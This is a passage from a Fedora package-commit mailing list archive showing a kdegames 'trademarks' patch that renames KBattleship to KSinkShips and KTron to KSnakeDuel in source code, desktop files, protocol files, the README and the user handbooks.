+++ kdegames-4.3.1-trademarks/ktron/main.cpp	2009-09-12 19:38:42.000000000 +0200
@@ -41,7 +41,7 @@
 
 int main(int argc, char* argv[])
 {
-  KAboutData aboutData( "ktron", 0, ki18n("KTron"), 
+  KAboutData aboutData( "ktron", 0, ki18n("KSnakeDuel"), 
     KTRON_VERSION, description, KAboutData::License_GPL, notice);
   aboutData.addAuthor(ki18n("Matthias Kiefer"), ki18n("Original author"), "matthias.kiefer at gmx.de");
   aboutData.addAuthor(ki18n("Benjamin Meyer"), ki18n("Various improvements"), "ben+ktron at meyerhome.net");
@@ -50,7 +50,8 @@
   KCmdLineArgs::init( argc, argv, &aboutData );
 
   KCmdLineOptions options;
-  options.add("ktron", ki18n("Start in KTron mode"));
+  // This is the default anyway, why does this need an option? -- Kevin Kofler
+  // options.add("ktron", ki18n("Start in KTron mode"));
   options.add("snake", ki18n("Start in KSnake mode"));
   KCmdLineArgs::addCmdLineOptions(options);
 
diff -ur kdegames-4.3.1/ktron/player.cpp kdegames-4.3.1-trademarks/ktron/player.cpp
--- kdegames-4.3.1/ktron/player.cpp	2009-04-05 21:59:49.000000000 +0200
+++ kdegames-4.3.1-trademarks/ktron/player.cpp	2009-09-12 19:38:42.000000000 +0200
@@ -92,7 +92,7 @@
 {
 	if (isComputer())
 	{
-		return i18n("KTron");
+		return i18n("KSnakeDuel");
 	}
 	else
 	{
diff -ur kdegames-4.3.1/README kdegames-4.3.1-trademarks/README
--- kdegames-4.3.1/README	2009-01-16 16:09:32.000000000 +0100
+++ kdegames-4.3.1-trademarks/README	2009-09-12 19:38:42.000000000 +0200
@@ -25,9 +25,6 @@
     Play backgammon against a local human player, via a game server or
     against GNU Backgammon (not included)
 
-* kbattleship
-    Sink battleship of your opponents, with built-in game server.
-
 * kblackbox
     Find the balls hidden in the black box by shooting laser beams!
 
@@ -70,6 +67,15 @@
 * kshisen
     Patience game where you take away all pieces.
 
+* ksinkships
+    Sink ships of your opponents, with built-in game server.
+
+* ksnake
+    Don't bite yourself, eat apples!
+
+* ksnakeduel
+    Like ksnake, but without fruits.
+
 * kspaceduel
     Two player game with shooting spaceships flying around a sun.
 
diff -up kdegames-4.3.2/kbattleship/src/kbattleship.desktop.orig kdegames-4.3.2/kbattleship/src/kbattleship.desktop
--- kdegames-4.3.2/kbattleship/src/kbattleship.desktop.orig	2009-10-02 10:20:10.000000000 +0200
+++ kdegames-4.3.2/kbattleship/src/kbattleship.desktop	2009-10-05 13:52:01.000000000 +0200
@@ -1,64 +1,63 @@
 [Desktop Entry]
-Name=KBattleship
-Name[af]=Kbattleship
+Name=KSinkShips
 Name[be]=?????? ???
 Name[bn]=??-??????????
-Name[br]=KBattleship
-Name[ca]=KBattleship
+Name[br]=KSinkShips
+Name[ca]=KSinkShips
 Name[cs]=Lod?
-Name[cy]=KBattleship
-Name[da]=KBattleship
-Name[de]=KBattleship
-Name[el]=KBattleship
-Name[en_GB]=KBattleship
-Name[eo]=KBattleship
-Name[es]=KBattleship
-Name[et]=KBattleship
-Name[eu]=KBattleship
+Name[cy]=KSinkShips
+Name[da]=KSinkShips
+Name[de]=KSinkShips
+Name[el]=KSinkShips
+Name[en_GB]=KSinkShips
+Name[eo]=KSinkShips
+Name[es]=KSinkShips
+Name[et]=KSinkShips
+Name[eu]=KSinkShips
 Name[fa]=???? ???????
-Name[fi]=KBattleship
-Name[fr]=KBattleship
-Name[ga]=KBattleship
-Name[gl]=KBattleship
-Name[he]=KBattleship
+Name[fi]=KSinkShips
+Name[fr]=KSinkShips
+Name[ga]=KSinkShips
+Name[gl]=KSinkShips
+Name[he]=KSinkShips
 Name[hne]=??-???????
 Name[hr]=KPotapanje brodova
-Name[hu]=KBattleship
+Name[hu]=KSinkShips
 Name[is]=KSj?orrusta
-Name[it]=KBattleship
-Name[ja]=KBattleship
-Name[km]=KBattleship
-Name[ko]=KBattleship
-Name[lt]=KBattleship
-Name[lv]=KBattleship
-Name[mk]=KBattleship
-Name[nb]=KBattleship
+Name[it]=KSinkShips
+Name[ja]=KSinkShips
+Name[km]=KSinkShips
+Name[ko]=KSinkShips
+Name[lt]=KSinkShips
+Name[lv]=KSinkShips
+Name[mk]=KSinkShips
+Name[nb]=KSinkShips
 Name[nds]=Scheep versenken
 Name[ne]=????? ?????????
-Name[nl]=KBattleship
-Name[nn]=KBattleship
+Name[nl]=KSinkShips
+Name[nn]=KSinkShips
 Name[pa]=??-???? ?????
-Name[pl]=KBattleship
-Name[pt]=KBattleship
-Name[pt_BR]=KBattleship
+Name[pl]=KSinkShips
+Name[pt]=KSinkShips
+Name[pt_BR]=KSinkShips
 Name[ro]=B?t?lie naval?
-Name[ru]=KBattleship
-Name[se]=KBattleship
-Name[sk]=KBattleship
-Name[sl]=KBattleship
+Name[ru]=KSinkShips
+Name[se]=KSinkShips
+Name[sk]=KSinkShips
+Name[sl]=KSinkShips
 Name[sr]=????????????
 Name[sr at latin]=K?podmornice
 Name[sv]=Kbattleship
 Name[ta]=??????????????
 Name[tg]=K????? ???????
-Name[tr]=KBattleship
+Name[tr]=KSinkShips
 Name[uk]=???????? ???
-Name[vi]=KBattleship
-Name[wa]=KBattleship
-Name[xh]=KBattleship
-Name[x-test]=xxKBattleshipxx
-Name[zh_CN]=KBattleship
-Name[zh_TW]=KBattleship ??
+Name[vi]=KSinkShips
+Name[wa]=KSinkShips
+Name[xh]=KSinkShips
+Name[x-test]=xxKSinkShipsxx
+Name[zh_CN]=KSinkShips
+Name[zh_TW]=KSinkShips ??
 Exec=kbattleship -caption "%c"
 Icon=kbattleship
 Type=Application
@@ -80,7 +79,6 @@ GenericName[eu]=Ontzi-guda jokoa
 GenericName[fa]=???? ??? ???????
 GenericName[fi]=Meritaistelupeli
 GenericName[fr]=Jeu de bataille navale
-GenericName[ga]=Cluiche cos?il le "Battleship"
 GenericName[gl]=Xogo de batalla naval
 GenericName[he]=???? ??????
 GenericName[hne]=??????? ???
@@ -114,7 +112,7 @@ GenericName[ta]=????????
 GenericName[tr]=Amiral Batt? Oyunu
 GenericName[uk]=??? ? ???????? ???
 GenericName[wa]=Djeu di batreye di bateas
-GenericName[x-test]=xxBattleship Gamexx
+GenericName[x-test]=xxShip Sinking Gamexx
 GenericName[zh_CN]=??????
 GenericName[zh_TW]=????
 Terminal=false
diff -up kdegames-4.3.2/kbattleship/src/kbattleship.protocol.orig kdegames-4.3.2/kbattleship/src/kbattleship.protocol
--- kdegames-4.3.2/kbattleship/src/kbattleship.protocol.orig	2009-10-02 10:20:10.000000000 +0200
+++ kdegames-4.3.2/kbattleship/src/kbattleship.protocol	2009-10-05 13:53:11.000000000 +0200
@@ -5,37 +5,37 @@ input=none
 output=none
 
 Icon=kbattleship
-Description=A protocol for the game KBattleship
-Description[ca]=Un protocol pel joc KBattleship
-Description[da]=En protokol for spillet KBattleship
-Description[de]=Ein Protokoll f?r das KBattleship-Spiel.
-Description[el]=??? ?????????? ??? ?? ???????? KBattleship
-Description[en_GB]=A protocol for the game KBattleship
-Description[es]=Un protocolo para el juego KBattleship
-Description[et]=KBattleshipi protokoll
-Description[eu]=KBattleship jokoaren protokoloa
-Description[fr]=Un protocole pour le jeu KBattleship
-Description[ga]=Pr?tacal le haghaidh an chluiche KBattleship
-Description[gl]=Un protocolo para o xogo KBattleship
-Description[hu]=Protokoll a KBattleship j?t?khoz
-Description[it]=Un protocollo per KBattleship
-Description[km]=????????????????????? KBattleship
-Description[lv]=Protokols sp?lei KBattleship
-Description[nds]=En Protokoll f?r dat Speel "KBattleship"
-Description[nl]=Een protocol voor het spel KBattleship
-Description[nn]=Protokoll for KBattleship
-Description[pl]=Protok?? gry KBattleship
-Description[pt]=Um protocolo para o jogo KBattleship
-Description[pt_BR]=Um protocolo para o jogo KBattleship
-Description[ru]=???????? ??? ???? KBattleship
-Description[sl]=Protokol za igro KBattleship
+Description=A protocol for the game KSinkShips
+Description[ca]=Un protocol pel joc KSinkShips
+Description[da]=En protokol for spillet KSinkShips
+Description[de]=Ein Protokoll f?r das KSinkShips-Spiel.
+Description[el]=??? ?????????? ??? ?? ???????? KSinkShips
+Description[en_GB]=A protocol for the game KSinkShips
+Description[es]=Un protocolo para el juego KSinkShips
+Description[et]=KSinkShipsi protokoll
+Description[eu]=KSinkShips jokoaren protokoloa
+Description[fr]=Un protocole pour le jeu KSinkShips
+Description[ga]=Pr?tacal le haghaidh an chluiche KSinkShips
+Description[gl]=Un protocolo para o xogo KSinkShips
+Description[hu]=Protokoll a KSinkShips j?t?khoz
+Description[it]=Un protocollo per KSinkShips
+Description[km]=????????????????????? KSinkShips
+Description[lv]=Protokols sp?lei KSinkShips
+Description[nds]=En Protokoll f?r dat Speel "KSinkShips"
+Description[nl]=Een protocol voor het spel KSinkShips
+Description[nn]=Protokoll for KSinkShips
+Description[pl]=Protok?? gry KSinkShips
+Description[pt]=Um protocolo para o jogo KSinkShips
+Description[pt_BR]=Um protocolo para o jogo KSinkShips
+Description[ru]=???????? ??? ???? KSinkShips
+Description[sl]=Protokol za igro KSinkShips
 Description[sr]=???????? ?? ????????????
 Description[sr at latin]=Protokol za K?podmornice
 Description[sv]=Ett protokoll f?r spelet S?nka fartyg
-Description[uk]=???????? ??? ??? KBattleship
-Description[x-test]=xxA protocol for the game KBattleshipxx
-Description[zh_CN]=KBattleship ??????
-Description[zh_TW]=KBattleship ???????
+Description[uk]=???????? ??? ??? KSinkShips
+Description[x-test]=xxA protocol for the game KSinkShipsxx
+Description[zh_CN]=KSinkShips ??????
+Description[zh_TW]=KSinkShips ???????
 exec=kbattleship %u
 
 helper=true
diff -up kdegames-4.3.2/ktron/ktron.desktop.orig kdegames-4.3.2/ktron/ktron.desktop
--- kdegames-4.3.2/ktron/ktron.desktop.orig	2009-10-02 10:20:06.000000000 +0200
+++ kdegames-4.3.2/ktron/ktron.desktop	2009-10-05 13:55:06.000000000 +0200
@@ -3,85 +3,14 @@ Type=Application
 Exec=ktron -caption "%c" %i
 Icon=ktron
 DocPath=ktron/index.html
-GenericName=Tron-like Game
-GenericName[ca]=Joc similar al Tron
-GenericName[cs]=Hra typu Tron
-GenericName[da]=Tron-lignende spil
-GenericName[de]=?Tron?-Spiel
-GenericName[el]=???????? ???????? ?? ?? Tron
-GenericName[en_GB]=Tron-like Game
-GenericName[es]=Juego similar a Tron
-GenericName[et]=Troni moodi m?ng
-GenericName[eu]=Tron-en antzeko jokoa
-GenericName[fr]=Jeu dans le style de Tron
-GenericName[ga]=Cluiche Cos?il le Tron
-GenericName[hu]=Tron-szer? j?t?k
-GenericName[it]=Un gioco simile a Tron
-GenericName[ja]=Tron ???????
-GenericName[km]=????????????? Tron
-GenericName[lv]=Tron l?dz?ga sp?le
-GenericName[nds]=Tron-liek Speel
-GenericName[nl]=Tron-achtig spel
-GenericName[nn]=Tron-liknande spel
-GenericName[pt]=Jogo Semelhante ao Tron
-GenericName[pt_BR]=Jogo semelhante ao Tron
-GenericName[ru]=???? ? ????? ??????
-GenericName[sl]=Igra podobna Tronu
-GenericName[sr]=???? ????? ?? ????
-GenericName[sr at latin]=Igra nalik na tron
-GenericName[sv]=Tron-liknande spel
-GenericName[uk]=???, ????? ?? Tron
-GenericName[x-test]=xxTron-like Gamexx
-GenericName[zh_CN]=?? Tron ???
-GenericName[zh_TW]=?? Tron ??
+GenericName=Snake Duel Game
+GenericName[de]=Schlangenduell-Spiel
+GenericName[fr]=Jeu de duel de serpents
+GenericName[it]=Gioco di duello di serpenti
+GenericName[x-test]=xxSnake Duel Gamexx
 Terminal=false
-Name=KTron
-Name[af]=Ktron
-Name[bn]=??-????
-Name[br]=KTron
-Name[ca]=KTron
-Name[cs]=KTron
-Name[cy]=KTron
-Name[da]=KTron
-Name[de]=KTron
-Name[el]=KTron
-Name[en_GB]=KTron
-Name[es]=KTron
-Name[et]=KTron
-Name[eu]=KTron
-Name[fr]=KTron
-Name[ga]=KTron
-Name[he]=KTron
-Name[hr]=KTron
-Name[hu]=KTron
-Name[is]=KTron
-Name[it]=KTron
-Name[ja]=KTron
-Name[km]=KTron
-Name[lv]=KTron
-Name[mk]=KTron
-Name[nds]=KTron
-Name[nl]=KTron
-Name[nn]=KTron
-Name[pt]=KTron
-Name[pt_BR]=KTron
-Name[ro]=KTron
-Name[ru]=????
-Name[sk]=KTron
-Name[sl]=KTron
-Name[sr]=??????
-Name[sr at latin]=K?tron
-Name[sv]=Ktron
-Name[ta]=K??????
-Name[tg]=K????
-Name[tr]=KTron
-Name[uk]=KTron
-Name[vi]=KTron
-Name[wa]=KTron
-Name[xh]=KTron
-Name[x-test]=xxKTronxx
-Name[zh_CN]=KTron
-Name[zh_TW]=KTron
+Name=KSnakeDuel
+Name[x-test]=xxKSnakeDuelxx
 X-KDE-StartupNotify=true
 X-DCOP-ServiceType=Multi
 Categories=Qt;KDE;Game;ArcadeGame;


--- kdegames-4.3.1-trademarks.patch DELETED ---



From rdieter at fedoraproject.org  Thu Oct  8 23:12:52 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 23:12:52 +0000 (UTC)
Subject: rpms/kdegames/F-11 kdegames-4.3.2-trademarks.patch, NONE,
	1.1 kdegames-4.3.1-trademarks.patch, 1.2, NONE
Message-ID: <20091008231252.CA49311C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdegames/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17894/F-11

Added Files:
	kdegames-4.3.2-trademarks.patch 
Removed Files:
	kdegames-4.3.1-trademarks.patch 
Log Message:
sync trademarks patch w/devel


kdegames-4.3.2-trademarks.patch:
 kdegames-4.3.1-trademarks/README                        |   12 +-
 kdegames-4.3.1-trademarks/doc/kbattleship/index.docbook |   37 +++---
 kdegames-4.3.1-trademarks/doc/ktron/index.docbook       |   11 +-
 kdegames-4.3.1-trademarks/kbattleship/src/main.cpp      |    4 
 kdegames-4.3.1-trademarks/ktron/main.cpp                |    5 
 kdegames-4.3.1-trademarks/ktron/player.cpp              |    2 
 kdegames-4.3.2/kbattleship/src/kbattleship.desktop      |   88 +++++++---------
 kdegames-4.3.2/kbattleship/src/kbattleship.protocol     |   56 +++++-----
 kdegames-4.3.2/ktron/ktron.desktop                      |   85 +--------------
 9 files changed, 118 insertions(+), 182 deletions(-)

--- NEW FILE kdegames-4.3.2-trademarks.patch ---
diff -ur kdegames-4.3.1/doc/kbattleship/index.docbook kdegames-4.3.1-trademarks/doc/kbattleship/index.docbook
--- kdegames-4.3.1/doc/kbattleship/index.docbook	2009-02-26 10:11:22.000000000 +0100
+++ kdegames-4.3.1-trademarks/doc/kbattleship/index.docbook	2009-09-12 19:38:42.000000000 +0200
@@ -1,6 +1,6 @@
 <?xml version="1.0" ?>
 <!DOCTYPE book PUBLIC "-//KDE//DTD DocBook XML V4.2-Based Variant V1.1//EN" "dtd/kdex.dtd" [
-  <!ENTITY kappname "&kbattleship;">
+  <!ENTITY kappname "<application>KSinkShips</application>">
   <!ENTITY package "kdegames">
   <!ENTITY % addindex "IGNORE">
   <!ENTITY % English "INCLUDE" > <!-- change language only here -->
@@ -8,7 +8,7 @@
 
 <book lang="&language;">
 <bookinfo>
-<title>The &kbattleship; Handbook</title>
+<title>The &kappname; Handbook</title>
 
 <authorgroup>
 <author>
@@ -57,16 +57,17 @@
 
 <abstract>
 <para>
-&kbattleship; is a network-enabled implementation of the famous <quote>Battle Ship</quote> game for &kde;.</para>
+&kappname; is a network-enabled implementation of the famous ship sinking game for &kde;.</para>
 </abstract>
 
 <keywordset>
 <keyword>KDE</keyword>
 <keyword>kdegames</keyword>
-<keyword>kbattleship</keyword>
+<keyword>ksinkships</keyword>
 <keyword>game</keyword>
-<keyword>battleship</keyword>
-<keyword>battle</keyword>
+<keyword>sinkships</keyword>
+<keyword>sink</keyword>
+<keyword>ships</keyword>
 </keywordset>
 
 </bookinfo>
@@ -76,7 +77,7 @@
 <note><title>Gametype:</title><para>Strategy, Board</para></note><!-- Game genre. Use as many as necessary. Available game types are: Arcade, Board, Card, Dice, Toys, Logic, Strategy.-->
 <note><title>Number of possible players:</title><para>Two</para></note><!--Number of possible players. It can be: One, Two,..., Multiplayer-->
 <para>
-&kbattleship; is a Battle Ship game for &kde;. Ships are placed on a board which represents the sea. Players try to hit each others
+&kappname; is a ship sinking game for &kde;. Ships are placed on a board which represents the sea. Players try to hit each others
 ships in turns without knowing where they are placed. The first player to destroy all ships wins the game.
 </para>
 </chapter>
@@ -85,14 +86,14 @@
 <title>How to Play</title>
 <note><title>Objective:</title><para>Sink all of the opponent?s ships before the opponent sink all the ships of your own.</para></note><!--Describe the objective of the game.-->
 <para>
-If you want to play &kbattleship;, you will need two players, either play
+If you want to play &kappname;, you will need two players, either play
 against the computer or in a network against another player. To play against your computer, first select the difficulty level on the right of the status bar, and then select <guibutton>Single player</guibutton> on the welcome screen, or directly on the <menuchoice><guimenu>Game</guimenu></menuchoice> menu.</para>
 
 <para>
 To start a network game, one player has to host the game by selecting <guilabel>Host network game</guilabel> on the welcome screen, or choosing <menuchoice><guimenu>Game</guimenu>
 <guimenuitem>Host Game...</guimenuitem></menuchoice>.
 A dialog box opens which asks for a <guilabel>Nickname:</guilabel> and <guilabel>Port:</guilabel>. Normally,
-&kbattleship; will suggest your full name, but you can enter any string
+&kappname; will suggest your full name, but you can enter any string
 you want. The predefined port should be ok. However, if you encounter
 problems, you can choose any other free port above 1024.
 </para>
@@ -186,10 +187,10 @@
 <title>Multiplayer support</title>
 
 <para>
-&kbattleship; can be played online on any GGZ Gaming Zone site. You can
+&kappname; can be played online on any GGZ Gaming Zone site. You can
 find other players there, and compete against them. Just enter one
-of the available Battleship rooms with any GGZ core client, such as
-kggz, and &kbattleship; will be offered to you as your favourite
+of the available rooms with any GGZ core client, such as
+kggz, and &kappname; will be offered to you as your favourite
 game client. If a GGZ core client is installed, you can try
 out GGZ by visiting the <ulink url="ggz://live.ggzgamingzone.org/#Battleship">community site</ulink>.
 </para>
@@ -197,7 +198,7 @@
 <para>
 Remember that when playing online, the opponent might be either a
 human player or a computer player. The latter one might behave
-differently from the computer player included in &kbattleship;.
+differently from the computer player included in &kappname;.
 </para>
 
 </sect1>
@@ -314,7 +315,7 @@
 </term>
 <listitem>
 <para>
-<action>Exit</action> &kbattleship;
+<action>Exit</action> &kappname;
 </para>
 </listitem>
 </varlistentry>
@@ -394,7 +395,7 @@
 </term>
 <listitem>
 <para>
-<action>Configure the keyboard shortcuts used by &kbattleship;.</action>
+<action>Configure the keyboard shortcuts used by &kappname;.</action>
 </para>
 </listitem>
 </varlistentry>
@@ -408,7 +409,7 @@
 </term>
 <listitem>
 <para>
-<action>Configure</action> the toolbars provided by &kbattleship;.
+<action>Configure</action> the toolbars provided by &kappname;.
 </para>
 </listitem>
 </varlistentry>
@@ -437,7 +438,7 @@
 </question>
 <answer>
 <para>
-No, there is no hint system in &kbattleship;.
+No, there is no hint system in &kappname;.
 </para>
 </answer>
 </qandaentry>
@@ -474,7 +475,7 @@
 <chapter id="credits">
 <title>Credits and Licenses</title>
 
-<para>&kbattleship; Copyright 2000-2007</para>
+<para>&kappname; Copyright 2000-2007</para>
 
 <itemizedlist>
 <title>Authors</title>
diff -ur kdegames-4.3.1/doc/ktron/index.docbook kdegames-4.3.1-trademarks/doc/ktron/index.docbook
--- kdegames-4.3.1/doc/ktron/index.docbook	2009-02-26 10:11:14.000000000 +0100
+++ kdegames-4.3.1-trademarks/doc/ktron/index.docbook	2009-09-12 19:38:42.000000000 +0200
@@ -1,6 +1,6 @@
 <?xml version="1.0" ?>
 <!DOCTYPE book PUBLIC "-//KDE//DTD DocBook XML V4.2-Based Variant V1.1//EN" "dtd/kdex.dtd" [
-  <!ENTITY kappname "&ktron;">
+  <!ENTITY kappname "<application>KSnakeDuel</application>">
   <!ENTITY package "kdegames">
   <!ENTITY % addindex "IGNORE">
   <!ENTITY % English "INCLUDE">
@@ -61,7 +61,7 @@
 
 <abstract>
 <para>
-&kappname; is a simple <quote>Tron</quote> clone for &kde;, which you can
+&kappname; is a simple snake duel game for &kde;, which you can
 play alone or against a friend.
 </para>
 </abstract>
@@ -69,11 +69,12 @@
 <keywordset>
 <keyword>KDE</keyword>
 <keyword>kdegames</keyword>
-<keyword>KTron</keyword>
+<keyword>KSnakeDuel</keyword>
 <keyword>game</keyword>
-<keyword>tron</keyword>
+<keyword>snakeduel</keyword>
 <keyword>KSnake</keyword>
 <keyword>snake</keyword>
+<keyword>duel</keyword>
 </keywordset>
 </bookinfo>
 
@@ -81,7 +82,7 @@
 <title>Introduction</title>
 
 <para>
-&kappname; is a simple Tron-Clone for the
+&kappname; is a simple snake duel game for the
 <ulink url="http://www.kde.org">K Desktop Environment</ulink>. You can play
 &kappname; against the computer or a friend.
 The aim of the game is to live longer than your opponent. To do that,
diff -ur kdegames-4.3.1/kbattleship/src/main.cpp kdegames-4.3.1-trademarks/kbattleship/src/main.cpp
--- kdegames-4.3.1/kbattleship/src/main.cpp	2009-08-27 10:16:58.000000000 +0200
+++ kdegames-4.3.1-trademarks/kbattleship/src/main.cpp	2009-09-12 19:38:42.000000000 +0200
@@ -21,7 +21,7 @@
 
 int main(int argc, char** argv)
 {
-    KAboutData aboutData("kbattleship", 0, ki18n("KBattleship"), "2.0", 
+    KAboutData aboutData("kbattleship", 0, ki18n("KSinkShips"), "2.0", 
         ki18n("The KDE Battleship clone"), KAboutData::License_GPL, 
         ki18n("(c) 2000-2005  Nikolas Zimmermann, Daniel Molkentin\n"
               "(c) 2007 Paolo Capriotti"), KLocalizedString(), "http://games.kde.org/kbattleship" );
@@ -48,7 +48,7 @@
     KCmdLineArgs::init(argc, argv, &aboutData);
 
     KCmdLineOptions options;
-    options.add("!+[URL]", ki18n("URL of a KBattleship game server to connect to after startup"));
+    options.add("!+[URL]", ki18n("URL of a KSinkShips game server to connect to after startup"));
     KCmdLineArgs::addCmdLineOptions( options ); // Add our own options.
     KApplication app;
     KGlobal::locale()->insertCatalog("libkdegames");
diff -ur kdegames-4.3.1/ktron/main.cpp kdegames-4.3.1-trademarks/ktron/main.cpp
--- kdegames-4.3.1/ktron/main.cpp	2009-02-26 10:11:10.000000000 +0100
+++ kdegames-4.3.1-trademarks/ktron/main.cpp	2009-09-12 19:38:42.000000000 +0200
@@ -41,7 +41,7 @@
 
 int main(int argc, char* argv[])
 {
-  KAboutData aboutData( "ktron", 0, ki18n("KTron"), 
+  KAboutData aboutData( "ktron", 0, ki18n("KSnakeDuel"), 
     KTRON_VERSION, description, KAboutData::License_GPL, notice);
   aboutData.addAuthor(ki18n("Matthias Kiefer"), ki18n("Original author"), "matthias.kiefer at gmx.de");
   aboutData.addAuthor(ki18n("Benjamin Meyer"), ki18n("Various improvements"), "ben+ktron at meyerhome.net");
@@ -50,7 +50,8 @@
   KCmdLineArgs::init( argc, argv, &aboutData );
 
   KCmdLineOptions options;
-  options.add("ktron", ki18n("Start in KTron mode"));
+  // This is the default anyway, why does this need an option? -- Kevin Kofler
+  // options.add("ktron", ki18n("Start in KTron mode"));
   options.add("snake", ki18n("Start in KSnake mode"));
   KCmdLineArgs::addCmdLineOptions(options);
 
diff -ur kdegames-4.3.1/ktron/player.cpp kdegames-4.3.1-trademarks/ktron/player.cpp
--- kdegames-4.3.1/ktron/player.cpp	2009-04-05 21:59:49.000000000 +0200
+++ kdegames-4.3.1-trademarks/ktron/player.cpp	2009-09-12 19:38:42.000000000 +0200
@@ -92,7 +92,7 @@
 {
 	if (isComputer())
 	{
-		return i18n("KTron");
+		return i18n("KSnakeDuel");
 	}
 	else
 	{
diff -ur kdegames-4.3.1/README kdegames-4.3.1-trademarks/README
--- kdegames-4.3.1/README	2009-01-16 16:09:32.000000000 +0100
+++ kdegames-4.3.1-trademarks/README	2009-09-12 19:38:42.000000000 +0200
@@ -25,9 +25,6 @@
     Play backgammon against a local human player, via a game server or
     against GNU Backgammon (not included)
 
-* kbattleship
-    Sink battleship of your opponents, with built-in game server.
-
 * kblackbox
     Find the balls hidden in the black box by shooting laser beams!
 
@@ -70,6 +67,15 @@
 * kshisen
     Patience game where you take away all pieces.
 
+* ksinkships
+    Sink ships of your opponents, with built-in game server.
+
+* ksnake
+    Don't bite yourself, eat apples!
+
+* ksnakeduel
+    Like ksnake, but without fruits.
+
 * kspaceduel
     Two player game with shooting spaceships flying around a sun.
 
diff -up kdegames-4.3.2/kbattleship/src/kbattleship.desktop.orig kdegames-4.3.2/kbattleship/src/kbattleship.desktop
--- kdegames-4.3.2/kbattleship/src/kbattleship.desktop.orig	2009-10-02 10:20:10.000000000 +0200
+++ kdegames-4.3.2/kbattleship/src/kbattleship.desktop	2009-10-05 13:52:01.000000000 +0200
@@ -1,64 +1,63 @@
 [Desktop Entry]
-Name=KBattleship
-Name[af]=Kbattleship
+Name=KSinkShips
 Name[be]=?????? ???
 Name[bn]=??-??????????
-Name[br]=KBattleship
-Name[ca]=KBattleship
+Name[br]=KSinkShips
+Name[ca]=KSinkShips
 Name[cs]=Lod?
-Name[cy]=KBattleship
-Name[da]=KBattleship
-Name[de]=KBattleship
-Name[el]=KBattleship
-Name[en_GB]=KBattleship
-Name[eo]=KBattleship
-Name[es]=KBattleship
-Name[et]=KBattleship
-Name[eu]=KBattleship
+Name[cy]=KSinkShips
+Name[da]=KSinkShips
+Name[de]=KSinkShips
+Name[el]=KSinkShips
+Name[en_GB]=KSinkShips
+Name[eo]=KSinkShips
+Name[es]=KSinkShips
+Name[et]=KSinkShips
+Name[eu]=KSinkShips
 Name[fa]=???? ???????
-Name[fi]=KBattleship
-Name[fr]=KBattleship
-Name[ga]=KBattleship
-Name[gl]=KBattleship
-Name[he]=KBattleship
+Name[fi]=KSinkShips
+Name[fr]=KSinkShips
+Name[ga]=KSinkShips
+Name[gl]=KSinkShips
+Name[he]=KSinkShips
 Name[hne]=??-???????
 Name[hr]=KPotapanje brodova
-Name[hu]=KBattleship
+Name[hu]=KSinkShips
 Name[is]=KSj?orrusta
-Name[it]=KBattleship
-Name[ja]=KBattleship
-Name[km]=KBattleship
-Name[ko]=KBattleship
-Name[lt]=KBattleship
-Name[lv]=KBattleship
-Name[mk]=KBattleship
-Name[nb]=KBattleship
+Name[it]=KSinkShips
+Name[ja]=KSinkShips
+Name[km]=KSinkShips
+Name[ko]=KSinkShips
+Name[lt]=KSinkShips
+Name[lv]=KSinkShips
+Name[mk]=KSinkShips
+Name[nb]=KSinkShips
 Name[nds]=Scheep versenken
 Name[ne]=????? ?????????
-Name[nl]=KBattleship
-Name[nn]=KBattleship
+Name[nl]=KSinkShips
+Name[nn]=KSinkShips
 Name[pa]=??-???? ?????
-Name[pl]=KBattleship
-Name[pt]=KBattleship
-Name[pt_BR]=KBattleship
+Name[pl]=KSinkShips
+Name[pt]=KSinkShips
+Name[pt_BR]=KSinkShips
 Name[ro]=B?t?lie naval?
-Name[ru]=KBattleship
-Name[se]=KBattleship
-Name[sk]=KBattleship
-Name[sl]=KBattleship
+Name[ru]=KSinkShips
+Name[se]=KSinkShips
+Name[sk]=KSinkShips
+Name[sl]=KSinkShips
 Name[sr]=????????????
 Name[sr at latin]=K?podmornice
 Name[sv]=Kbattleship
 Name[ta]=??????????????
 Name[tg]=K????? ???????
-Name[tr]=KBattleship
+Name[tr]=KSinkShips
 Name[uk]=???????? ???
-Name[vi]=KBattleship
-Name[wa]=KBattleship
-Name[xh]=KBattleship
-Name[x-test]=xxKBattleshipxx
-Name[zh_CN]=KBattleship
-Name[zh_TW]=KBattleship ??
+Name[vi]=KSinkShips
+Name[wa]=KSinkShips
+Name[xh]=KSinkShips
+Name[x-test]=xxKSinkShipsxx
+Name[zh_CN]=KSinkShips
+Name[zh_TW]=KSinkShips ??
 Exec=kbattleship -caption "%c"
 Icon=kbattleship
 Type=Application
@@ -80,7 +79,6 @@ GenericName[eu]=Ontzi-guda jokoa
 GenericName[fa]=???? ??? ???????
 GenericName[fi]=Meritaistelupeli
 GenericName[fr]=Jeu de bataille navale
-GenericName[ga]=Cluiche cos?il le "Battleship"
 GenericName[gl]=Xogo de batalla naval
 GenericName[he]=???? ??????
 GenericName[hne]=??????? ???
@@ -114,7 +112,7 @@ GenericName[ta]=????????
 GenericName[tr]=Amiral Batt? Oyunu
 GenericName[uk]=??? ? ???????? ???
 GenericName[wa]=Djeu di batreye di bateas
-GenericName[x-test]=xxBattleship Gamexx
+GenericName[x-test]=xxShip Sinking Gamexx
 GenericName[zh_CN]=??????
 GenericName[zh_TW]=????
 Terminal=false
diff -up kdegames-4.3.2/kbattleship/src/kbattleship.protocol.orig kdegames-4.3.2/kbattleship/src/kbattleship.protocol
--- kdegames-4.3.2/kbattleship/src/kbattleship.protocol.orig	2009-10-02 10:20:10.000000000 +0200
+++ kdegames-4.3.2/kbattleship/src/kbattleship.protocol	2009-10-05 13:53:11.000000000 +0200
@@ -5,37 +5,37 @@ input=none
 output=none
 
 Icon=kbattleship
-Description=A protocol for the game KBattleship
-Description[ca]=Un protocol pel joc KBattleship
-Description[da]=En protokol for spillet KBattleship
-Description[de]=Ein Protokoll f?r das KBattleship-Spiel.
-Description[el]=??? ?????????? ??? ?? ???????? KBattleship
-Description[en_GB]=A protocol for the game KBattleship
-Description[es]=Un protocolo para el juego KBattleship
-Description[et]=KBattleshipi protokoll
-Description[eu]=KBattleship jokoaren protokoloa
-Description[fr]=Un protocole pour le jeu KBattleship
-Description[ga]=Pr?tacal le haghaidh an chluiche KBattleship
-Description[gl]=Un protocolo para o xogo KBattleship
-Description[hu]=Protokoll a KBattleship j?t?khoz
-Description[it]=Un protocollo per KBattleship
-Description[km]=????????????????????? KBattleship
-Description[lv]=Protokols sp?lei KBattleship
